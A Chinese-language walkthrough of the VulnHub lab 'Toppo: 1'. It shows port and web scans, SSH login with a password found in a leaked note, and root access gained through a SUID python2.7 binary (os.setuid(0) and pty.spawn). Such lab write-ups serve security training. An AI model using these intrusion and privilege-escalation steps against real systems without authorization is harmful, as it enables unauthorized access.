Hack Toppo: 1：walkthrough【VulnHub靶场】渗透测试实战系列5
靶场地址：Toppo: 1
难度：初级
先发现ip，扫描端口
root@kali:~# nmap -T5 -A -v 192.168.211.131 -p1-65535
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 19:24 CST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating ARP Ping Scan at 19:24
Scanning 192.168.211.131 [1 port]
Completed ARP Ping Scan at 19:24, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:24
Completed Parallel DNS resolution of 1 host. at 19:24, 13.00s elapsed
Initiating SYN Stealth Scan at 19:24
Scanning 192.168.211.131 [65535 ports]
Discovered open port 111/tcp on 192.168.211.131
Discovered open port 22/tcp on 192.168.211.131
Discovered open port 80/tcp on 192.168.211.131
Discovered open port 34897/tcp on 192.168.211.131
Completed SYN Stealth Scan at 19:24, 5.03s elapsed (65535 total ports)
Initiating Service scan at 19:24
Scanning 4 services on 192.168.211.131
Completed Service scan at 19:24, 11.02s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.211.131
NSE: Script scanning 192.168.211.131.
Initiating NSE at 19:24
Completed NSE at 19:24, 0.33s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.01s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Nmap scan report for 192.168.211.131
Host is up (0.00055s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
| 2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
| 256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_ 256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Clean Blog - Start Bootstrap Theme
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34897/tcp status
| 100024 1 40426/tcp6 status
| 100024 1 42359/udp status
|_ 100024 1 49106/udp6 status
34897/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:11:69:9D (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 199.637 days (since Fri May 24 04:07:31 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.55 ms 192.168.211.131
NSE: Script Post-scanning.
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.53 seconds
Raw packets sent: 65576 (2.886MB) | Rcvd: 65550 (2.623MB)
发现有两个不寻常的端口111和34897
扫描一下web的隐藏目录
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.211.131
+ Target Hostname: 192.168.211.131
+ Target Port: 80
+ Start Time: 2019-12-09 19:26:35 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 1925, size: 563f5cf714e80, mtime: gzip
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /package.json: Node.js package file found. It may contain sensitive information.
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2019-12-09 19:27:28 (GMT8) (53 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
在admin目录下面发现文件note.txt
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
发现一个密码，扫描其他目录和文件，没有发现任何后台。猜测为ssh登录密码，爆破相关的用户名。
发先ted用户名登录成功
root@kali:~# ssh -l ted 192.168.211.131
[email protected]'s password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 24 15:11:29 2019
接着进行提权操作，确认一下suid
ted@Toppo:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
非常easy的发现/usr/bin/python2.7，果然是容易级别的靶机
ted@Toppo:/$ /usr/bin/python2.7
Python 2.7.9 (default, Aug 13 2016, 16:41:35)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.getuid;
>>> os.getuid();
1000
>>> os.setuid("root");
Traceback (most recent call last):
File "", line 1, in
TypeError: an integer is required
>>> os.setuid(0);
>>> os.getuid();
0
>>> import pty;
>>> pty.spawn("/bin/bash");
root@Toppo:/var/www/html# id
uid=0(root) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
root@Toppo:/var/www/html# cd /root
root@Toppo:/root# ls
flag.txt
root@Toppo:/root# cat flag.txt
_________
| _ _ |
|_/ | | \_|.--. _ .--. _ .--. .--.
| | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
_| |_ | \__. | | \__/ | | \__/ || \__. |
|_____| '.__.' | ;.__/ | ;.__/ '.__.'
[__| [__|
Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce} 搞定收工，除了爆破用户名花了一些时间，在web上兜了一阵子。其他都很简单。